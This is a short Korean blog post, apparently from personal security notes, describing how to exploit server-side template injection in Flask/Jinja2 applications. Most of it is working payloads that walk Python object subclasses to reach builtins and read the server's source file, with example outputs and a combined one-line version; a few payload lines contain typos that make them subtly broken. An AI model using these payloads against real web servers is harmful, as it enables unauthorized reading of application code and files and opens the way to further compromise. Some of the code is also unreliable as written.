https://say2.tistory.com/entry/flask-injection%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B3%B5%EA%B2%A9

 

flask injection취약점 공격

python command injection 이 가능할때 <소스 파일를 가져올 수 있는 injection 코드> {% for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='XXXX'%}{{loop.index0}}{%endif%}{%endfor%} -> 타..

say2.tistory.com

python command injection 이 가능할때

 

<소스 파일를 가져올 수 있는 injection 코드>

 

{% for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='XXXX'%}{{loop.index0}}{%endif%}{%endfor%}

-> 타겟 클래스의 index를 가져온다

결과값 : 101

 

{{[].__class__.__base__.subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__)}}

타깃 파일 경로

결과값 : /data1/www/htdocs/222/aaa.py

 

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dic__['__builtins__'].open("/data1/www/htdocs/222/aaa.py","r").read()}}

결과값 : 추출된 python소스코드

 

위 세번을 한꺼번에 하려면 아래와 같이 하면됨

 {%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{c.__init__.func_globals['linecache'].__dict__['__builtins__'].open('aaa.py').read()}}{%endif%}{%endfor%}

 

(잘 알겠지만 파이써너 2.7 기준 3에서는 func_globals -> __globals__로 바뀌는 등 몇가지 바뀐다. 사실 python2기준으로 공격하면 됨)

 

 

 

 

'경로 및 정보' 카테고리의 다른 글

[ IIS ] http header 에 server 정보  (0) 2022.09.21
쇼단 문자열 검색 건  (1) 2022.09.20
[WEB] SSTI(Server Side Template Injection) 취약점  (0) 2022.09.15
confluence CVE-2019-3396 취약점  (1) 2022.09.15
Nginx 기본 환경  (0) 2022.09.15
블로그 이미지

wtdsoul

,